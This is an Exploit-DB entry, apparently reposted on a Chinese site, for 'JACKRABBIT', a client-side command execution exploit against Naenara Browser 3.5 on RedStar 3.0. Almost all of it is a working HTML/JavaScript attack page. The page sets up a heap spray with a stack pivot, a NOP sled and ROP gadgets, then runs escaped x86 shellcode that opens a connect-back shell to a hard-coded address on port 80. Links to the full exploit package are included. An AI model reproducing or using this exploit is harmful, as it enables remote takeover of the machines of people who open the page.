Naenara Browser 3.5 (RedStar 3.0 Desktop) – ‘JACKRABBIT’ Client-Side Command Execution - 体验盒子

作者： Hacker Fantastic
日期： 2016-12-18
类别：
local
平台：
linux
来源：https://www.exploit-db.com/exploits/40936/
<!-- 
Download: https://github.com/HackerFantastic/Public/blob/master/exploits/jackrabbit.tgz
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40936.tgz
-->

<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>n0m3rcYn0M3rCyn0m3Rc</FONT></p>
<p>
<FONT>N0MeRCYn0m3rCyn0m3rCyn0m</FONT>
</p>
<p>
<FONT>n0MERCypDK</FONT>
</p>
</div>
<script language="JavaScript">
var xunescape = unescape;
oneblock = xunescape("%u0040%u1000");
stackpivot = xunescape("%u6885%u0805%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u5a91%u0805%u4141%u4141");
nopsled = xunescape("%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568"); 

ropgadget = xunescape("%udc08%u0490%ua408%u04bd%u0008%u0200%u0000%u0f00%u0700%u0000%u2200%u0000%u0000%u0000%u0000%u0000%uec00%u0491%u0008%u0200%u0000%u0200%uc100%u10e3%u0040%u0010%u0000%u0200%u9000")

<!-- connect back ("192.168.0.10,80")ffff = port, 01020304 = ipaddr "%udc08%u0490%ua408%u04bd%u0008%u0200%u0000%u0f00%u0700%u0000%u2200%u0000%u0000%u0000%u0000%u0000%uec00%u0491%u0008%u0200%u0000%u0200%uc100%u10e3%u0040%u0010%u0000%u0200%u9000%u9090%u9090%u9090%u9090%u9090%u3190%u53db%u5343%u026a%u666a%u8958%ucde1%u9380%ub059%ucd3f%u4980%uf979%u5a5b%u0168%u0302%u6604%uff68%u43ff%u5366%ue189%u66b0%u5150%u8953%u43e1%u80cd%u6852%u2f2f%u6873%u2f68%u6962%u896e%u52e3%u8953%ub0e1%ucd0b%u0080%u6568%u7061%u6120%u6464%u3a72%u2520%u3830%u0a78%u7200%u6e75%u696e%u676e%u6620%u6f72%u206d%u6568%u2061" -->

shellcode = xunescape("%u9090%u9090%u9090%u9090%u9090%u3190%u53db%u5343%u026a%u666a%u8958%ucde1%u9380%ub059%ucd3f%u4980%uf979%u5a5b%uc068%u00a8%u660a%u0068%u4350%u5366%ue189%u66b0%u5150%u8953%u43e1%u80cd%u6852%u2f2f%u6873%u2f68%u6962%u896e%u52e3%u8953%ub0e1%ucd0b%u0080%u6568%u7061%u6120%u6464%u3a72%u2520%u3830%u0a78%u7200%u6e75%u696e%u676e%u6620%u6f72%u206d%u6568%u2061");


var fullblock = oneblock; 
while (fullblock.length < 393216)
{
fullblock += fullblock;
}

var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;

function fill_function()
{
if(! sprayready) {
for (xi=0; xi<800/100; xi++, sprayContainerIndex++)
{
sprayContainer[sprayContainerIndex] = fullblock + stackpivot + oneblock + nopsled+ nopsled+ nopsled+ nopsled+ nopsled+ nopsled+ nopsled+ nopsled + nopsled + nopsled+ nopsled+ nopsled + nopsled+ nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + ropgadget + shellcode;
}
} else {
DataTranslator();
GenerateHTML();
}
if(sprayContainer.length >= 1000) {
sprayready = true;
}
}

var searchArray = new Array();

function escapeData(data)
{
var xi;
var xc;
var escData='';
for(xi=0; xi<data.length; xi++)
{
xc=data.charAt(xi);
if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
escData+=xc;
}
return escData;
}

function DataTranslator()
{
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["dac"] = "Kros";
var newElement = document.getElementById("content");
if (document.getElementsByTagName) {
var xi=0;
pTags = newElement.getElementsByTagName("p");
if (pTags.length > 0)
while (xi < pTags.length)
{
oTags = pTags[xi].getElementsByTagName("font");
searchArray[xi+1] = new Array();
if (oTags[0]) {
searchArray[xi+1]["dac"] = oTags[0].innerHTML;
}
xi++;
}
}
}

function GenerateHTML()
{
var xhtml = "";
for (xi=1;xi<searchArray.length;xi++)
{
xhtml += escapeData(searchArray[xi]["dac"]);
}
}

setInterval("fill_function()", .5);

</script>
</body>
</html>